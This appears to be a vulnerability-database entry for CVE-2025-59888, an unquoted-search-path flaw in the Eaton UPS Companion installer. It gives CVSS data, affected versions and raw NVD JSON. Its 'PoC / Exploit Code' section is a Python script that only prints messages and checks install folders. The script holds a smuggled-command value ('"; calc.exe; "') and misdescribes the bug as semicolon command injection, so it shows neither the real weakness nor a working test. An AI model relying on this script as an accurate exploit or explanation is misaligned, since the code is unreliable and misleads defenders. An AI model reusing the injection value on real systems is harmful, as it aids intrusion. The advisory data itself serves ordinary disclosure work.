Security Vulnerability Report
中文
CVE-2025-59888 CVSS 6.7 MEDIUM

CVE-2025-59888

Published: 2025-12-26 07:15:46
Last Modified: 2026-02-18 14:39:52

Description

Improper quotation in search paths in the Eaton UPS Companion software installer could lead to arbitrary code execution of an attacker with the access to the file system. This security issue has been fixed in the latest version of EUC which is available on the Eaton download center.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:eaton:ups_companion:*:*:*:*:*:*:*:* - VULNERABLE
Eaton UPS Companion (EUC) < 最新修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59888 PoC - Path Injection in Eaton UPS Companion Installer # This PoC demonstrates the improper quotation vulnerability in search paths # Note: This is for educational purposes only import os import sys def create_malicious_installer_exploit(): """ Simulate exploitation of improper quotation in search paths. The vulnerability allows path injection during installation. """ # Malicious path that could break out of quoted context # In real scenario, this would be placed in a directory the installer searches malicious_path = '"; calc.exe; "' # Simulate the vulnerable code behavior print("[*] CVE-2025-59888 - Path Injection PoC") print(f"[*] Malicious path component: {malicious_path}") # Vulnerable path construction (simplified) search_path = f'C:\\Program Files\\Eaton\\UPS Companion;{malicious_path}' print(f"[*] Constructed search path: {search_path}") # In actual vulnerable installer, this could lead to command injection print("[!] If installer uses this path unsafely, arbitrary code execution is possible") print("[!] Requires: 1) File system write access, 2) Installer execution") return True def verify_vulnerability(): """Check if target system is potentially vulnerable""" print("[*] Checking for Eaton UPS Companion installation...") # Check common installation paths possible_paths = [ r'C:\Program Files\Eaton\UPS Companion', r'C:\Program Files (x86)\Eaton\UPS Companion', ] for path in possible_paths: if os.path.exists(path): print(f"[+] Found Eaton UPS Companion at: {path}") return path print("[-] Eaton UPS Companion not found in standard locations") return None if __name__ == "__main__": create_malicious_installer_exploit() target = verify_vulnerability() if target: print(f"[+] Target is potentially vulnerable if not updated")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59888", "sourceIdentifier": "[email protected]", "published": "2025-12-26T07:15:45.693", "lastModified": "2026-02-18T14:39:52.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper quotation in search paths in the Eaton UPS Companion software installer could lead to arbitrary code execution of an attacker with the access to the \n\nfile system. This security issue has been fixed in the latest version of EUC which is available on the Eaton download center."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-428"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eaton:ups_companion:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.0", "matchCriteriaId": "7BC00703-4C6B-4A5B-AC24-01DE7F519FCB"}]}]}], "references": [{"url": "https://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/etn-va-2025-1026.pdf", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}